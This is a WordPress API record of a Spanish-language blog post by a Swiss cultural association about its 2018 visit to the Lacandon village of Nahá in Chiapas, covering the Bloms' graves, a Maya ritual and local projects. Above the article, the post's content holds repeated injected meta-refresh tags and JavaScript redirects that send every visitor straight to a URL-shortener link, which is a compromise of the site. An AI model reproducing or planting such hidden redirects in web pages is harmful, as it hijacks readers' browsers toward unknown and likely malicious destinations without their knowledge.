{"id":7011,"date":"2018-09-28T12:40:19","date_gmt":"2018-09-28T18:40:19","guid":{"rendered":"http:\/\/nabolom.ch\/?p=7011"},"modified":"2026-02-20T18:18:11","modified_gmt":"2026-02-21T00:18:11","slug":"grupo-de-na-bolom-ch-visita-naha-en-el-corazon-de-la-selva-lacandona","status":"publish","type":"post","link":"https:\/\/nabolom.ch\/web\/2018\/09\/grupo-de-na-bolom-ch-visita-naha-en-el-corazon-de-la-selva-lacandona\/","title":{"rendered":"Grupo de Na Bolom.ch visita Nah\u00e1, en el coraz\u00f3n de la selva lacandona."},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><\/p>\n<h1 style=\"text-align: justify;\">Grupo de Na Bolom.ch visita Nah\u00e1, en el coraz\u00f3n de la selva lacandona.<\/h1>\n<h4 style=\"text-align: justify;\"><\/h4>\n<h3 style=\"text-align: justify;\">RESUMEN.<\/h3>\n<p style=\"text-align: justify;\">Gratos recuerdos se llevaron integrantes de la Asociaci\u00f3n Cultural Suiza Na Bolom.ch de su visita al pueblo lacand\u00f3n de Nah\u00e1, el que fuera tan apreciado por Gertrude (Trudi) Duby Blom, nuestra mentora espiritual para la conservaci\u00f3n de la ecolog\u00eda, y ante su tumba y la del arque\u00f3logo dan\u00e9s Frans Blom, su esposo y gran amigo de los lacandones e ind\u00edgenas de Chiapas, los recordamos con aprecio.<\/p>\n<p style=\"text-align: justify;\">Previamente y durante dos d\u00edas, el grupo se hosped\u00f3 en Na Bolom, la casa-museo de Trudi y Frans en San Crist\u00f3bal de las Casas, donde el grupo se familiariz\u00f3 en los hechos biogr\u00e1ficos de estas personalidades ligadas entra\u00f1ablemente a los lacandones del Grupo Norte asentados en Nah\u00e1.<\/p>\n<p style=\"text-align: justify;\">Patricia Mu\u00f1oz, Najeli Amacker, Clara Plaut y Anders B. Johnsson llegaron por primera vez a esta poblaci\u00f3n con deseos de involucrarse en la vida cotidiana de lacandones para trabajar temas acad\u00e9micos, sociales y medioambientales, logrando estupendo resultado.<\/p>\n<p style=\"text-align: justify;\">Me toc\u00f3 ser la gu\u00eda del grupo Na Bolom.ch en este precioso viaje pues do\u00f1a Beti Mijangos Zenteno, hija adoptiva de los Blom-Duby, quien tradicionalmente es la gu\u00eda y exploradora perfecta adem\u00e1s de que es sumamente querida en Nah\u00e1, ha estado delicada de salud; gracias a las experiencias vividas con ella en varias visitas y a que me ha presentado con las personas claves, pudimos llevar a cabo un fruct\u00edfero recorrido.<\/p>\n<p style=\"text-align: justify;\">Nah\u00e1 sigue creciendo. Actualmente hay 275 lacandones (contra 198 en 2010). Entre las caba\u00f1as ecol\u00f3gicas donde nos hospedamos -el EcoLodge Nah\u00e1- y el Restaurante Nah\u00e1, la vida transcurri\u00f3 entre sorprendentes vivencias del 4 al 9 de agosto.<br \/>\nLuego de una primera impresi\u00f3n desde la entrada a Nah\u00e1 y sus dos caminos (\u00bfpor qu\u00e9 dos? pregunt\u00e9 en 2009 y se me dijo, sin ning\u00fan tono de chiste: uno para avionetas o carros, el otro para peatones) con la vista del verde lago al final, comenzamos las visitas en Metzabok, pueblo lacand\u00f3n vecino donde este a\u00f1o debido a la intensa sequ\u00eda, el nivel de las aguas del lago descendi\u00f3 tanto que fue posible observar tan cerca como nos permiti\u00f3 la lancha de remos, las leyendas mayas esculpidas en la roca como la serpiente de las siete cabezas; luego de buena hora de marcha empinada, la imaginaci\u00f3n fue definitoria para creer en la gran ciudad maya recientemente percibida por arque\u00f3logos debajo de las\u00a0colinas, observar la vegetaci\u00f3n de orqu\u00eddeas y \u00e1rboles de tinta, de chicle, ceibas, caobas y otras especies as\u00ed como de escuchar el canto de diversas aves.<\/p>\n<p style=\"text-align: justify;\">El calor tan intenso fue menguado por un chapuz\u00f3n en las claras aguas verde esmeralda del lago y nuestra hambre saciada con un refrigerio lacand\u00f3n en casa de Mar\u00eda.<\/p>\n<p style=\"text-align: justify;\">Durante la estancia en Nah\u00e1 pudimos visitar a do\u00f1a Chanuk Garc\u00eda, la viuda de Chan Kin Viejo, otrora entra\u00f1able amiga de Trudi y quien cont\u00f3 a trav\u00e9s de la traducci\u00f3n de sus palabras por su hijo Kin, innumerables recuerdos de la exploradora suiza que logr\u00f3 lo inimaginable: ser amiga del pueblo lacand\u00f3n. Ya ni sabe cu\u00e1ntos a\u00f1os tiene pero va para una centena, mientras sus ojos resplandecen cuando escucha o ella menciona, el nombre de Trudi \u201cmi amiga de Suiza\u201d.<\/p>\n<p style=\"text-align: justify;\"><strong>Guiado el grupo por Bor Mudo, lacand\u00f3n que de ni\u00f1o conoci\u00f3 mucho a Trudi y luego do\u00f1a Beti sigui\u00f3 siendo su custodia.<\/strong><\/p>\n\n<h2 style=\"text-align: justify;\">CEMENTERIO<\/h2>\n<p style=\"text-align: justify;\">Fuimos a presentar nuestros respetos a Trudi y a Frans en el CEMENTERIO sagrado de los dioses, ah\u00ed donde tambi\u00e9n se encuentra Chan Kin Viejo Garc\u00eda y de extranjeros especiales como ellos: Roberto Bruce y Marie Odile Marion, todas las tumbas envueltas en el halo de las frondosas ceibas y caboas y la humedad del bosque tropical.<\/p>\n\n<p style=\"text-align: justify;\">Al d\u00eda siguiente, en cayuco bajo la mano firme de Bor Mudo, se visit\u00f3 la laguna verde de Nah\u00e1 y luego de un peque\u00f1o recorrido dentro de la selva donde el silencio debe ser estricto, se lleg\u00f3 a la laguna Amarilla para observar diversas especies de su flora y apercibir los cocodrilos\u2026 pero de estos no vimos ni uno, no por ello la respiraci\u00f3n dej\u00f3 de ser entrecortada porque o\u00edamos sus sonidos.<\/p>\n<h2 style=\"text-align: justify;\">RITUAL<\/h2>\n<h2 style=\"text-align: justify;\"><\/h2>\n<p style=\"text-align: justify;\">Otro d\u00eda transcurri\u00f3 con la asistencia al ritual para los dioses mayas de los lacandones de Nah\u00e1, \u00faltimo vestigio de la pr\u00e1ctica religiosa que cada vez m\u00e1s va en desuso. El llamado \u201cultimo cham\u00e1n de Nah\u00e1\u201d don Antonio Mart\u00ednez Garc\u00eda, nos recibi\u00f3 en su Casa de Dioses, donde nos prepar\u00f3 para la conversaci\u00f3n con los dioses, especialmente Hachakyum, el creador del universo, as\u00ed como el dios de los extranjeros. Entre pl\u00e1tica y pl\u00e1tica, recuerdos de anta\u00f1o y tristezas por el presente en que ya no hay la fidelidad hacia los ritos ancestrales, don Antonio fue conociendo qui\u00e9nes \u00e9ramos, a cada quien haci\u00e9ndole preguntas sobre su vida, asimismo trayendo a la memoria las presencias de su padre cham\u00e1n tambi\u00e9n, de su suegro el gran cham\u00e1n Chan Kin Viejo el patriarca de Nah\u00e1 y de Yertrur, s\u00ed, Trudi, la de Suiza \u201custedes vienen de Suiza\u201d de donde las monta\u00f1as de nieve, de los c\u00e1nticos alpinos, de donde las navajitas\u2026 era tal su entusiasmo que decidi\u00f3 llevar al grupo a la cueva de la empinada monta\u00f1a donde est\u00e1 el esp\u00edritu del dios protector del fuego y de los bosques.<\/p>\n\n<p>El cham\u00e1n don Antonio en la ceremonia del ritual maya lacand\u00f3n para orar ante sus dioses comienza con la bebida del balche preparado en un cayuco, el llamado del caracol para que los dioses se acerquen al ser huemano, los repetidos c\u00e1nticos a diversos dioses en los incensarios preparados con resina luego prendida al fuego mientras se pide por cada quien que est\u00e9 presente o ausente, y el proceso de sanaci\u00f3n con una palma.<\/p>\n\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>La ceremonia en Casa de Dioses dur\u00f3 media jornada, no la esper\u00e1bamos tan larga pero no cabe duda de que don Antonio consider\u00f3 tener un p\u00fablico religioso y respetuoso frente a \u00e9l as\u00ed es que las horas transcurrieron sin sentirse\u2026 y no solamente porque la bebida sagrada del balch\u00e9 no par\u00f3 de ser servida por el cham\u00e1n en las vasijas sagradas. La experiencia espiritual es indescriptible, es algo \u00edntimo, personal, hay qu\u00e9 vivirlo para poder gozarlo. Terminamos el d\u00eda con una fastuosa comida que llevamos precisamente al campamento de Trudi, consistente de productos del pueblo: ensalada de picaya, tamal grande (en serio, grande) relleno de vegetales en vez del tradicional pollo, frijoles en especies lacandonas, agua de guan\u00e1bana y deliciosas frutas.<\/p>\n<h2>ESTUDIANTES SUIZAS<\/h2>\n<p>&nbsp;<\/p>\n<p>Por las noches, incluso a la luz de las velas, quienes desde Suiza vinieron de visita pudieron degustar platillos aut\u00e9nticamente lacandones (como la picaya y el tamal de fiesta) preparados en la cooperativa Yaxte, bajo la administraci\u00f3n de Adriana Garc\u00eda Cruz, en la que tambi\u00e9n participan su padre Kin Garc\u00eda \u2013hijo de Chan Kin Viejo- y su madre Mar\u00eda, tzeltal ella. El Restaurante Nah\u00e1 es como un centro de cuitas, donde nos reun\u00edamos con antrop\u00f3logas de Espa\u00f1a, bi\u00f3logos de la Ciudad de M\u00e9xico, estudiantes como Najeli y Clara, turistas en familias de varias ciudades de Chiapas, ni\u00f1os y ni\u00f1as lacandones que vienen a comprar \u201ccomida y bebida chatarra\u201d que tanto detestaba la mentora del pueblo, Gertrude Duby, as\u00ed como miembros de la familia extensa lacandona. Todos y todas platican, comparten las experiencias del d\u00eda antes de partir a pernoctar al EcoLogdge, un lujo en plena selva.<\/p>\n<p><a href=\"http:\/\/nabolom.ch\/wp-content\/uploads\/2018\/09\/Imagen14.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-7038\" src=\"http:\/\/nabolom.ch\/wp-content\/uploads\/2018\/09\/Imagen14.png\" alt=\"\" width=\"320\" height=\"240\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Pero bien pudimos haber pernoctado en tiendas de campa\u00f1a en el campamento de Trudi, siempre limpio, siempre listo para albergar una hamaca o varias, para que se prenda el fuego de carb\u00f3n que le da a la comida y al caf\u00e9 un sabor inigualable, y la luz del quinqu\u00e9 que mande se\u00f1ales a pumas y monos de que \u201cest\u00e1 ocupado\u201d\u2026 pero las lluvias torrenciales de agosto es mejor pasarlas al abrigo.<\/p>\n<p>Adem\u00e1s cada quien tuvo su propia experiencia: visita al vivero de las orqu\u00eddeas y a otros senderos de flores, vista de aves, jugar La Loter\u00eda con los ni\u00f1os en la sala comunal, participar del fin de cursos del programa \u201cPerderle miedo a reptiles de la selva\u201d con algunas especies vivas (no las menciono para no asustar) e incluso concluir un acuerdo de cooperaci\u00f3n entre Na Bolom.ch y el Comisariado de Nah\u00e1 para la instalaci\u00f3n de un vivero de palma xate como proyecto de desarrollo sustentable, con el apoyo log\u00edstico del Programa de Cambio Clim\u00e1tico de Na Bolom, A.C. mediante un donativo de la Asociaci\u00f3n Cultural Suiza Na Bolom.ch obtenido por nuestra participaci\u00f3n en el evento \u201cViva M\u00e9xico\u201d en Berna, Suiza, en septiembre de 2017.<\/p>\n\n<p>&nbsp;<\/p>\n<h2>OBRA DE TEATRO<\/h2>\n<p>&nbsp;<\/p>\n\n<p>&nbsp;<\/p>\n<h2>OTRAS ACTIVIDADES<\/h2>\n<p>&nbsp;<\/p>\n<p>Nah\u00e1 es un lugar donde re-encontrarse con la naturaleza, dejar de lado los celulares, las computadoras, los mecanismos de defensa de la gran ciudad (aunque si insisten, se puede tener), dedicarse a comunicar con los majestuosos \u00e1rboles que son la v\u00eda para llegar al universo, embelesarse con la vista hacia el cielo y sus constelaciones que se enmarcan en estrellas relucientes, lugar para recibir sue\u00f1os di\u00e1fanos y para contar realidades de colmoyotes y tar\u00e1ntulas\u2026 tanto qu\u00e9 hacer aqu\u00ed.<\/p>\n<p>Poco antes de partir de Nah\u00e1, el gran pintor lacand\u00f3n, Kayuum Maax (Premio Chiapas 1974) nos deleita en el campamento de Trudi con recuerdos de su vida entrelazada con la de la suiza quien le ofrec\u00eda pinturas y lienzos; leyenda o realidad, visi\u00f3n lacandona o cuento m\u00e1gico\u2026 en verdad, as\u00ed como lo plasma en sus murales y pinturas de la selva, de su padre Chan Kin Viejo, de su infancia y juventud, Kayuum es de adulto, gran narrador pict\u00f3rico.<\/p>\n<p><a href=\"http:\/\/nabolom.ch\/wp-content\/uploads\/2018\/09\/Imagen20.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-7046\" src=\"http:\/\/nabolom.ch\/wp-content\/uploads\/2018\/09\/Imagen20.png\" alt=\"\" width=\"240\" height=\"320\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Y el tiempo vuela, es hora de partir, las bolsas de viaje listas, los regalitos de pepitas de los \u00e1rboles ya adquiridos, los cuadernos de notas llenos, las m\u00faltiples grabaciones hechas, los directorios de amistades con muchas entradas recientes, la red social de lacandones en Nah\u00e1 se ampl\u00eda.<br \/>\nTodo mundo se va contento a contarle a do\u00f1a Beti, en San Crist\u00f3bal de las Casas, lo grato de esta visita.<\/p>\n\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Por Kyra N\u00fa\u00f1ez 20 de agosto de 2018<\/strong><\/p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Grupo de Na Bolom.ch visita Nah\u00e1, en el coraz\u00f3n de la selva lacandona. RESUMEN. Gratos recuerdos se llevaron integrantes de la Asociaci\u00f3n Cultural Suiza Na Bolom.ch de su visita al pueblo lacand\u00f3n de Nah\u00e1, el<\/p>\n","protected":false},"author":1,"featured_media":7033,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[60],"tags":[],"class_list":["post-7011","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news-2"],"_links":{"self":[{"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/posts\/7011","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/comments?post=7011"}],"version-history":[{"count":1,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/posts\/7011\/revisions"}],"predecessor-version":[{"id":14896,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/posts\/7011\/revisions\/14896"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nabolom.ch\/web\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/media?parent=7011"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/categories?post=7011"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/tags?post=7011"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}